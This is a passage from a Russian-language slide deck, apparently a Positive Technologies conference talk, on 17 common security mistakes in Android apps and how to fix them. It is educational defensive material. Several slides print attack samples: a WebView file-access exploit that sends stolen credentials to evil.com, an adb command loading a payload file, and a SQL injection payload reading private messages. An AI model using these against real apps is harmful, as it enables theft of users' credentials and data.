Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Уязвимое Android-приложение: N проверенных способов наступить на грабли

391 views

Published on

Немногие разработчики закладывают безопасность в архитектуру приложения на этапе проектирования. Часто для этого нет ни денег, ни времени. Еще меньше — понимания моделей нарушителя и моделей угроз. Защита приложения выходит на передний план, когда уязвимости начинают стоить денег. К этому времени приложение уже работает и внесение существенных изменений в код становится нелегкой задачей.
К счастью, разработчики тоже люди, и в коде разных приложений можно встретить однотипные недостатки. В докладе речь пойдет об опасных ошибках, которые чаще всего допускают разработчики Android-приложений. Затрагиваются особенности ОС Android, приводятся примеры реальных приложений и уязвимостей в них, описываются способы устранения.

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Уязвимое Android-приложение: N проверенных способов наступить на грабли

  1. 1. Заголовок ptsecurity.com Уязвимое Android- приложение: N проверенных способов наступить на грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
  2. 2. N = 17;
  3. 3. Заголовок ptsecurity.com Уязвимое Android- приложение: 17 проверенных способов наступить на грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
  4. 4. Заголовок АНИСЕНЯ НИКОЛАЙ • специалист отдела исследований безопасности мобильных приложений Positive Technologies; • аспирант Томского Государственного Университета; • участник CTF-комады SiBears. whoami ТОШИН СЕРГЕЙ • специалист отдела исследований безопасности мобильных приложений Positive Technologies; • разработчик анализатора исходных кодов Android-приложений; • участник программ bugbounty.
  5. 5. ЗаголовокМодели нарушителя Удаленный нарушитель • На сервере • На другом клиенте • В канале связи Локальный нарушитель • Трояны • Приложения с закладками Нарушитель с физическим доступом к устройству • Кража или утеря • Кратковременный доступ
  6. 6. ЗаголовокВерсии Android на устройствах пользователей Ice Cream Sandwich 15 2% Jelly Bean 16 8% Jelly Bean 17 11% Jelly Bean 18 3% KitKat 19 34% Lollipop 21 17% Lollipop 22 20% Marshmallow 23 5% % от общего числа устройств на Android
  7. 7. ЗаголовокПроверенные способы
  8. 8. ЗаголовокСпособ 1: хранение логинов и паролей в открытом виде /data/data/<app_name>/shared_prefs/AppName.xml
  9. 9. ЗаголовокСпособ 2: ключи шифрования в коде
  10. 10. ЗаголовокСпособ 2: ключи шифрования в коде
  11. 11. ЗаголовокСпособ 3: ключ из короткого пин-кода
  12. 12. ЗаголовокСпособ 3: ключ из короткого пин-кода
  13. 13. ЗаголовокСпособ 3: ключ из короткого пин-кода
  14. 14. ЗаголовокСпособ 4: http-запросы открытым текстом
  15. 15. ЗаголовокСпособ 5: отключенная проверка сертификатов
  16. 16. ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие Pinning in HttpClient No pinning in WebView
  17. 17. ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие
  18. 18. ЗаголовокСпособ 7: отравление кэша WebView
  19. 19. ЗаголовокСпособ 8: доступ к файловой системе через WebView
  20. 20. ЗаголовокСпособ 8: доступ к файловой системе через WebView $ adb shell am start -d "file:///sdcard/payload.html" nanisenya. app_android/.MainActivity
  21. 21. ЗаголовокСпособ 8: доступ к файловой системе через WebView /sdcard/payload.html
  22. 22. ЗаголовокСпособ 8: доступ к файловой системе через WebView GET /%3C?xml%20version='1.0'%20encoding='utf- 8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C string%20name=%22LOGIN%22%3Ealice%3C/string%3E %0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123 %3C/string%3E%0A%3C/map%3E%0A HTTP/1.1 Host: evil.com Origin: file:// X-Requested-With: nanisenya.app_android ... Connection: close
  23. 23. ЗаголовокСпособ 9: Client-side SQL-injection String query = "SELECT * FROM messages WHERE msg LIKE '%" + q + "%'"; Cursor c = MainActivity.this.db.rawQuery(query); sqlite> .tables android_metadata messages private_messages
  24. 24. ЗаголовокСпособ 9: Client-side SQL-injection SELECT * FROM messages WHERE msg LIKE ' UNION SELECT * from private_messages -- %'"; q = "' UNION SELECT * from private_messages -- "
  25. 25. ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable AndroidManifest.xml
  26. 26. ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable $ adb backup -all android:allowBackup=“true”
  27. 27. ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable android:debuggable=“true”
  28. 28. ЗаголовокСпособ 11: экспортированные компоненты adb shell am broadcast –d com.example.myapplication/.MyReceiver
  29. 29. ЗаголовокСпособ 11: экспортированные компоненты android:exported=“false”
  30. 30. ЗаголовокСпособ 12: отправка широковещательных сообщений
  31. 31. ЗаголовокСпособ 12: отправка широковещательных сообщений Register receiver Send broadcast intent
  32. 32. ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
  33. 33. ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
  34. 34. ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
  35. 35. ЗаголовокСпособ 14: отсутствие фильтрации во входящем intent
  36. 36. ЗаголовокСпособ 15: вложенные intent Dispatcher Activity exported= “true” Settings Activity exported= “false” Payment Activity exported= “false” Internal Activity exported= “false” Входящий Intent Перенаправленный Intent
  37. 37. ЗаголовокСпособ 15: вложенные intent
  38. 38. ЗаголовокСпособ 16: произвольные объекты в intent public void onCreate(Bundle arg3) { super.onCreate(arg3); this.setContentView(this.o_()); this.b(true); this.setTitle(null); this.o(); this.p(); this.b = this.getIntent() .getParcelableExtra("PAGE_INFO"); if(arg3 == null && this.b != null) { this.a(this.b); } }
  39. 39. ЗаголовокСпособ 16: произвольные объекты в intent public static final class PageInfo implements Parcelable { public String startPageUrl; public byte[] startPagePostData; public String cookies; public String successUri; public String failUri; … }
  40. 40. ЗаголовокСпособ 17: Fragment Injection
  41. 41. ЗаголовокСпособ 17: Fragment Injection
  42. 42. ЗаголовокСпособ 17: Fragment Injection
  43. 43. ЗаголовокСпособ 17: Fragment Injection
  44. 44. ЗаголовокСпособ 17: Fragment Injection Уязвимость сохраняется, если - Android < KitKat - TargetSDK < KitKat (import android.support.v4.app.Fragment;) - Используются сторонние библиотеки (например, для корректной работы интерфейса на разных версиях Android), переопределяющие поведение фрагментов Защита - TargetSDK >= KitKat - Использовать isValidFragment
  45. 45. Заголовок ptsecurity.com Спасибо! Спасибо!

×